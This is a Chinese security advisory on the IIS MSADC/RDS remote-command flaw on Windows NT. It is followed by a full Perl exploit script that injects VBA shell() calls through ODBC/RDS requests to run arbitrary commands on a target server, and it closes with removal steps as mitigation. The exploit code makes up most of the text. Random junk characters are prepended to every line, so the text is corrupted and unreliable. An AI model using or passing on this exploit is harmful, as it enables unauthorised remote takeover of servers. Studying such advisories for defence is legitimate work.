IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
VZ`L-P$AF <F=U(WWn9 涉及程序：
"t-u=aDl-. Microsoft NT server
LG0z|x(
iG \ ] 描述：
b>B.3E\Pc 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:3z`+5Y* f
xWW "B*A 详细：
6[dLj9 G% 如果你没有时间读详细内容的话，就删除:
F
;o ^. c:\Program Files\Common Files\System\Msadc\msadcs.dll
h@5mVTb}i 有关的安全问题就没有了。
;^q@w 8 | 6: 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
V'XmMn)! D5wy7`c 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
z%Xz*uu(| 关于利用ODBC远程漏洞的描述，请参看:
5Iv3B|u {Lex(( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm IA\CBwiLj &i&k 4 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
|mSF a8G@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZeUA e /'V(F* g 这里不再论述。
'l%b5: U e>;h9^ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
3;wAm/Z:Q b
h%@L o /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}klET 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
}9& Z#1/ 8X6F6RK6,1 :x36^{7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
5B&#Sh`r ,t`u3ykh #!perl
Hm>M}MF3 #
BO#XQ, # MSADC/RDS 'usage' (aka exploit) script
f^P:eBgpx #
3ErW3Ac Ou # by rain.forest.puppy
]SqLF!S (= #
AY{-Hf& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-^C't_Q o # beta test and find errors!
Pc+8CuN? B0_[bQoc1 use Socket; use Getopt::Std;
6}Se$XMl getopts("e:vd:h:XR", \%args);
v8
Q/DJ ~ cs'ylGH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
l98.H b7 sFd"VRAV~E if (!defined $args{h} && !defined $args{R}) {
AqPE.mf print qq~
f}j o18z% Usage: msadc.pl -h <host> { -d <delay> -X -v }
<M(Jqb cWa -h <host> = host you want to scan (ip or domain)
K4]42# -d <seconds> = delay between calls, default 1 second
hxIG0d!o -X = dump Index Server path table, if available
.T*K4m{b0 -v = verbose
$$U Mc-Pq -e = external dictionary file for step 5
e(; 1XqLM + 9vd(c Or a -R will resume a command session
wv.FL$f[@ 1ga-8&! ~; exit;}
: ) !X%2 _ BXNt@% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
>d .o1< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
``%uq) G=D if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Y,-?oBY if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Kd 2?9gaw $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
<ej Wl% 4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
")J\} $r r?{$k3Vl if (!defined $args{R}){ $ret = &has_msadc;
3U zb]D~u die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
4)'8fi 2_^{Vez@I print "Please type the NT commandline you want to run (cmd /c assumed):\n"
eY3l^Su1 . "cmd /c ";
3|$>2IRq $in=<STDIN>; chomp $in;
1!u}~E_ $command="cmd /c " . $in ;
{fkW0VB; K\Oz
~,z if (defined $args{R}) {&load; exit;}
-7 GF2
@ 6kW <i,A
- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1-_op !N &try_btcustmr;
5F@7A2ZR )XB31^ print "\nStep 2: Trying to make our own DSN...";
PUMh#^g} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5k0r{^#M )&G
uZ print "\nStep 3: Trying known DSNs...";
#+mt}w / &known_dsn;
m$T?~o o "qEi$a&] print "\nStep 4: Trying known .mdbs...";
zdDn.
vG &known_mdb;
aq ~g 54 'r KDw06/ if (defined $args{e}){
g.AMCM?z print "\nStep 5: Trying dictionary of DSN names...";
)@-v6;7b 0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
RX-qL,dc UQGOC P_ print "Sorry Charley...maybe next time?\n";
dX AKk[uf exit;
Kjbz\~ y`"~zq0D ##############################################################################
//c<p :D-xa!7 sub sendraw { # ripped and modded from whisker
T*,kBJ sleep($delay); # it's a DoS on the server! At least on mine...
!Vtt.j &4 my ($pstr)=@_;
"NU l7ce.R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kcy?;b; z die("Socket problems\n");
&^EC Q if(connect(S,pack "SnA4x8",2,80,$target)){
X[L6Av select(S); $|=1;
ISHNeO8 print $pstr; my @in=<S>;
|ITSd%`3_ select(STDOUT); close(S);
z^s40707x return @in;
l_ycYD$ZA } else { die("Can't connect...\n"); }}
O34'c_ f Z AJ'YkS g ##############################################################################
R[eQ}7;+ wJ_E\ v P sub make_header { # make the HTTP request
SHw%u~[hu my $msadc=<<EOT
sb
3l4(8g
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
fo 63H'7 User-Agent: ACTIVEDATA
:e- &, K Host: $ip
EleK*l Content-Length: $clen
<ex,@ {n4 Connection: Keep-Alive
1:- ^* K`!q1 g` ADCClientVersion:01.06
!^Mk5E ( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
SK 2nxZOH TNs0^h) --!ADM!ROX!YOUR!WORLD!
[@Hv, Content-Type: application/x-varg
{^TV Zdw Content-Length: $reqlen
VKtrSY}6T >n,RBl EOT
&KfRZ`9H ; $msadc=~s/\n/\r\n/g;
$y !k)" k return $msadc;}
NB]T~_?]* ^%X,Rml<e ##############################################################################
RX",Zt$q \~H; Wt 5 sub make_req { # make the RDS request
&FrW(>2 my ($switch, $p1, $p2)=@_;
;IhkGPpWP my $req=""; my $t1, $t2, $query, $dsn;
8Z;wF *G"vV>OSV if ($switch==1){ # this is the btcustmr.mdb query
tAD{{ GW9 $query="Select * from Customers where City=" . make_shell();
{7^7 )^@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
yteJHaq $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'jp nQcwxx w$J0/eX{A elsif ($switch==2){ # this is general make table query
8fpaY{] $query="create table AZZ (B int, C varchar(10))";
MF>1u% $dsn="$p1";}
27b7~! u@SE)qg elsif ($switch==3){ # this is general exploit table query
a jy.K'B* $query="select * from AZZ where C=" . make_shell();
>SJ#
rZ $dsn="$p1";}
8Rq+eOP=S <fX]`57Dc` elsif ($switch==4){ # attempt to hork file info from index server
f o])=K M $query="select path from scope()";
g`KVF"8 $dsn="Provider=MSIDXS;";}
{;4AdZk ^FSUK elsif ($switch==5){ # bad query
]JQk, <l5E $query="select";
9wLV\>i[k $dsn="$p1";}
~__]E53F 7)zn[4v7qt $t1= make_unicode($query);
]Xcq f9k $t2= make_unicode($dsn);
\m!swYy $req = "\x02\x00\x03\x00";
y}jX/Ln $req.= "\x08\x00" . pack ("S1", length($t1));
RYMOLX84 $req.= "\x00\x00" . $t1 ;
zuOx@T ^ $req.= "\x08\x00" . pack ("S1", length($t2));
5q[0;`J $req.= "\x00\x00" . $t2 ;
q_Td!?2? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6T 2jVNg return $req;}
Fy-+? ~ 6,'v
/A- ##############################################################################
ehO@3%z30c O~F/pJN` sub make_shell { # this makes the shell() statement
x w-x<7 return "'|shell(\"$command\")|'";}
z^
+CD- u/Fn A-L4 ##############################################################################
/#J)EH4p |RQ19m@ sub make_unicode { # quick little function to convert to unicode
<a *X&P my ($in)=@_; my $out;
=Ha qr*PDx for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
wC@5[e$ return $out;}
bu"R2~sb +r)'?zU ##############################################################################
W(9f CDO; ToIvyeFr sub rdo_success { # checks for RDO return success (this is kludge)
.fxI) my (@in) = @_; my $base=content_start(@in);
CQfrAk4mu if($in[$base]=~/multipart\/mixed/){
-ec P@, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6L~@jg~0A[ return 0;}
_+ K[1P *a Y`[,4#$ ##############################################################################
U Jkg|eu #3maT*JY sub make_dsn { # this makes a DSN for us
)AOD~T4s7 my @drives=("c","d","e","f");
!Y_"q^5GG' print "\nMaking DSN: ";
TDg#O!DUF foreach $drive (@drives) {
}~dXz?{p8 print "$drive: ";
"H>L!v my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;J pdnV "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
KU[eY} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
-}k'a{sj= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ee>P*7*jB return 0 if $2 eq "404"; # not found/doesn't exist
h+|3\>/@9{ if($2 eq "200") {
DsY-JBDvoz foreach $line (@results) {
MGIpo[ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
TEOV >Tt } return 0;}
~*D)L'`2M e!yUA!x`u ##############################################################################
v=?U{{xQ MjC;)z sub verify_exists {
Ky`rf}c I> my ($page)=@_;
+=%13cA*U my @results=sendraw("GET $page HTTP/1.0\n\n");
[w l:"rm return $results[0];}
.['@:}$1 Ltpd:c ##############################################################################
C,C% 1
qOz,iR?} sub try_btcustmr {
F?'=iY<h my @drives=("c","d","e","f");
zmy94Y5PE my @dirs=("winnt","winnt35","winnt351","win","windows");
M*| y&XBe J=6 7As foreach $dir (@dirs) {
sChMIbq!Av print "$dir -> "; # fun status so you can see progress
94r8DkI foreach $drive (@drives) {
.EVy?-
print "$drive: "; # ditto
7\ d{F)7E $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6\4n y 0 $reqlenlen=length( "$reqlen" );
9}kN 9u $clen= 206 + $reqlenlen + $reqlen;
BR\% aU$u +NPk9jn my @results=sendraw(make_header() . make_req(1,$drive,$dir));
35Nwx< if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(+ >~6SE else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
OxX{[|!` rKq/=A vv ##############################################################################
?_ [xpK() zL XmjrC sub odbc_error {
%JDG aG' my (@in)=@_; my $base;
Rk^Fasg" my $base = content_start(@in);
=nOV!!
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:7p0JGd $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TCp!4-~, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
tA$,4B? $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I.tJ4 return $in[$base+4].$in[$base+5].$in[$base+6];}
BQ[1,\> print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
K|];fd U print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{
yU 1db^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"5e~19 >]Hz-2b ##############################################################################
8):I< }s# vJ>A
>R CB sub verbose {
I"@X~Y7} my ($in)=@_;
y|q4d(P. return if !$verbose;
d9|dHJf print STDOUT "\n$in\n";}
# /@U|g gBHev1^y ##############################################################################
xBU\$ToC ;OmmXygl sub save {
B{a:cz>0< my ($p1, $p2, $p3, $p4)=@_;
{f#{NA5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
aGNVqS%y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
nul? 5{z@ close OUT;}
_~_04p >yUThhJRn ##############################################################################
dra'1E 57IrD*{ sub load {
\v]} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wRb%-s open(IN,"<rds.save") || die("Couldn't open rds.save\n");
y&9S+ @p=<IN>; close(IN);
_)2.#L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
l9 )iLOj $target= inet_aton($ip) || die("inet_aton problems");
j>e L&.d print "Resuming to $ip ...";
~j 3B' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>1a- }>r if($p[1]==1) {
Vj4
if@Z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_`/0/69 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
wQ!~c2a<8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~w Dmt if (rdo_success(@results)){print "Success!\n";}
|K'{R'A else { print "failed\n"; verbose(odbc_error(@results));}}
tu7 7Sb elsif ($p[1]==3){
\8 Mkb]QA if(run_query("$p[3]")){
E xKH %I print "Success!\n";} else { print "failed\n"; }}
nFW^^v< elsif ($p[1]==4){
vX )6N #D! if(run_query($drvst . "$p[3]")){
MjE.pb print "Success!\n"; } else { print "failed\n"; }}
EG&^;uU exit;}
n=r}jRH1 l7aGo1TcIh ##############################################################################
Xn"n5 =M 9 f-T> } sub create_table {
x `PIJE my ($in)=@_;
a \vf{2
$reqlen=length( make_req(2,$in,"") ) - 28;
CB_(9T72H $reqlenlen=length( "$reqlen" );
+^gh 3Y $clen= 206 + $reqlenlen + $reqlen;
t2p/NIn my @results=sendraw(make_header() . make_req(2,$in,""));
]~8bh*,= return 1 if rdo_success(@results);
J=*y>Zt-b my $temp= odbc_error(@results); verbose($temp);
g}Hk4+ return 1 if $temp=~/Table 'AZZ' already exists/;
tzi+A;>c(v return 0;}
p1v:X? 0-0 )E&2 ##############################################################################
#"ayq,GC< KU-z;}9s sub known_dsn {
A/{pG#if]3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
oF.Fg<p ( my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
N ED`GU "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Cd' P "banner", "banners", "ads", "ADCDemo", "ADCTest");
ce2d)FG}e s7I*=}{g0. foreach $dSn (@dsns) {
, p1 (0i print ".";
)oTEB# J next if (!is_access("DSN=$dSn"));
Qa t%<;P2 if(create_table("DSN=$dSn")){
FvG9PPd print "$dSn successful\n";
8)5 n if(run_query("DSN=$dSn")){
l4U& CA y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$2] 1 3j print "Something's borked. Use verbose next time\n";}}} print "\n";}
Ou2H~3^PL BGOI$ , ##############################################################################
Rt7}e09HV X]cB `?vR sub is_access {
}Bc'(2A;, my ($in)=@_;
ol!o8M%Q $reqlen=length( make_req(5,$in,"") ) - 28;
K blOP{I $reqlenlen=length( "$reqlen" );
{tOuKnnS $clen= 206 + $reqlenlen + $reqlen;
J }jK_ my @results=sendraw(make_header() . make_req(5,$in,""));
Vnh
+2XiK my $temp= odbc_error(@results);
"1%<IqpU+ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
"x\3`Qk return 0;}
_QvyFKAM t8i"f L ##############################################################################
g ywI@QD%# *Q!b%DIa$ sub run_query {
r{\cm
Ds my ($in)=@_;
[.6>%G1 C $reqlen=length( make_req(3,$in,"") ) - 28;
kjNA~{ $reqlenlen=length( "$reqlen" );
Zt lS*id_ $clen= 206 + $reqlenlen + $reqlen;
Da- F(^E my @results=sendraw(make_header() . make_req(3,$in,""));
kUP [&/Lc return 1 if rdo_success(@results);
Pdf_ {8 r my $temp= odbc_error(@results); verbose($temp);
>-X& /i return 0;}
?jqZeO#W7 7S]
h:q%% ##############################################################################
nyQ FS W U<#_by
g sub known_mdb {
H7Y}qP5 X my @drives=("c","d","e","f","g");
C| Mh<,~ E my @dirs=("winnt","winnt35","winnt351","win","windows");
6sP;O,UX my $dir, $drive, $mdb;
~|DF-t
V my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
JTx}{kVO fEVuH] # this is sparse, because I don't know of many
n!eg"pL my @sysmdbs=( "\\catroot\\icatalog.mdb",
QMtt:f]?i "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{)b`fq "\\system32\\certmdb.mdb",
'Dat.@j "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
LWVO%@)w ^]U2Jd my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
!-N!8 0 "\\cfusion\\cfapps\\forums\\forums_.mdb",
iS=T/<|? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7e8hnTzl8< "\\cfusion\\cfapps\\security\\realm_.mdb",
P? 9C BhN "\\cfusion\\cfapps\\security\\data\\realm.mdb",
44%H? ,d "\\cfusion\\database\\cfexamples.mdb",
"VT5WFj "\\cfusion\\database\\cfsnippets.mdb",
P* aD2("Z "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
7]nPWz1%* "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
{q}: w{x9u "\\cfusion\\brighttiger\\database\\cleam.mdb",
>E]*5jqU "\\cfusion\\database\\smpolicy.mdb",
]m 4LY.SQ "\\cfusion\\database\cypress.mdb",
*r-Bt1 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
} \823 U
% "\\website\\cgi-win\\dbsample.mdb",
an5Ss@<4AA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4a V3x&6X "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*s%s|/ ); #these are just
6,@M0CX foreach $drive (@drives) {
N.64aL|1 foreach $dir (@dirs){
'h81\SKFK9 foreach $mdb (@sysmdbs) {
>hQR print ".";
+vU.#C_2 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-g@pJ^>: print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
hA@X;Mh^w if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
W/ \7m\ B print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
d Hp6 G^Y } else { print "Something's borked. Use verbose next time\n"; }}}}}
R
+\y" . %1 =W#jz foreach $drive (@drives) {
2X*epU_1h foreach $mdb (@mdbs) {
xDQ$Ui. print ".";
2f:'~ P56 if(create_table($drv . $drive . $dir . $mdb)){
I tRG q print "\n" . $drive . $dir . $mdb . " successful\n";
'R'>`?Nh if(run_query($drv . $drive . $dir . $mdb)){
4U6{E# print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
RtIc:ym } else { print "Something's borked. Use verbose next time\n"; }}}}
9723f1&Vd }
{>+$u"* 5vpf; ##############################################################################
ITsJjcYw JQtH },T r sub hork_idx {
<!+o8z] print "\nAttempting to dump Index Server tables...\n";
,88Y1|:X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-"cN9RF $reqlen=length( make_req(4,"","") ) - 28;
WEsH@
[ $reqlenlen=length( "$reqlen" );
|hdh4P$+| $clen= 206 + $reqlenlen + $reqlen;
:w];N|48s my @results=sendraw2(make_header() . make_req(4,"",""));
QqwX Fk if (rdo_success(@results)){
!3b%Q</M H my $max=@results; my $c; my %d;
Wt `D for($c=19; $c<$max; $c++){
3% P?1s $results[$c]=~s/\x00//g;
" (xS[i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
.H>Rqikj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
S 5d{dTPq $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Oln o9_' $d{"$1$2"}="";}
"~[ Rwh? foreach $c (keys %d){ print "$c\n"; }
-
a=yi d } else {print "Index server doesn't seem to be installed.\n"; }}
%bimcRX#W y^nR=Q ]_
##############################################################################
eT|_0kx1 MO D4O4z& sub dsn_dict {
gRFC n6Q open(IN, "<$args{e}") || die("Can't open external dictionary\n");
iM956 3v while(<IN>){
V\G>e{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
A]J^{h0 k next if (!is_access("DSN=$dSn"));
hD, - !R if(create_table("DSN=$dSn")){
AzV5Re8M print "$dSn successful\n";
wH`@r?& if(run_query("DSN=$dSn")){
n;=A'g|Q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e7q T; print "Something's borked. Use verbose next time\n";}}}
t/$xzsoJZr print "\n"; close(IN);}
3Yf$WE8#l (]V.#JM ##############################################################################
Gm HsO/ O-B3@qQ. h sub sendraw2 { # ripped and modded from whisker
Q?tV:jogY sleep($delay); # it's a DoS on the server! At least on mine...
{Q-U =me\ my ($pstr)=@_;
%*gO<U4L] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
eeDhTw9 die("Socket problems\n");
jG2w(h/" if(connect(S,pack "SnA4x8",2,80,$target)){
[D,:=p` print "Connected. Getting data";
N0piL6Js open(OUT,">raw.out"); my @in;
D# $gdjZ select(S); $|=1; print $pstr;
4w?7AI]Ej while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
q1gf9` 0 close(OUT); select(STDOUT); close(S); return @in;
x3P@AC$\ } else { die("Can't connect...\n"); }}
_kd |:, Z\L@5.*ydE ##############################################################################
_qg6(
X LBE ".+ sub content_start { # this will take in the server headers
k|_2aQ02 my (@in)=@_; my $c;
"4`%N A for ($c=1;$c<500;$c++) {
<oO,CXF if($in[$c] =~/^\x0d\x0a/){
,,J3 h if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
C1/jA>XW else { return $c+1; }}}
wY 95|QS return -1;} # it should never get here actually
c `+ITNV "tR.'F[n4P ##############################################################################
zb" hy"hKw K$.zO4 sub funky {
moR]{2Cd{ my (@in)=@_; my $error=odbc_error(@in);
vh HMxOZ; if($error=~/ADO could not find the specified provider/){
n1t(ns| print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Q*8-d9C exit;}
j[fQs,efK if($error=~/A Handler is required/){
LnDj print "\nServer has custom handler filters (they most likely are patched)\n";
QdTe!f| exit;}
A H`15k_i if($error=~/specified Handler has denied Access/){
</X"*G't print "\nServer has custom handler filters (they most likely are patched)\n";
$imx-H`| exit;}}
c{Kl?0#[ zFn&~lFB ##############################################################################
]'Yw#YB mig 3.is sub has_msadc {
X W)A~wPBs my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
=5`@:!t7 my $base=content_start(@results);
/)1-^ju return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
TJpv"V return 0;}
gp)ds^ `VsG a ########################
Lm|X5RVq X 2[cR;;' KV_Ga8hs 解决方案：
@"8QG^q8de 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!cb#fl 2、移除web 目录: /msadc
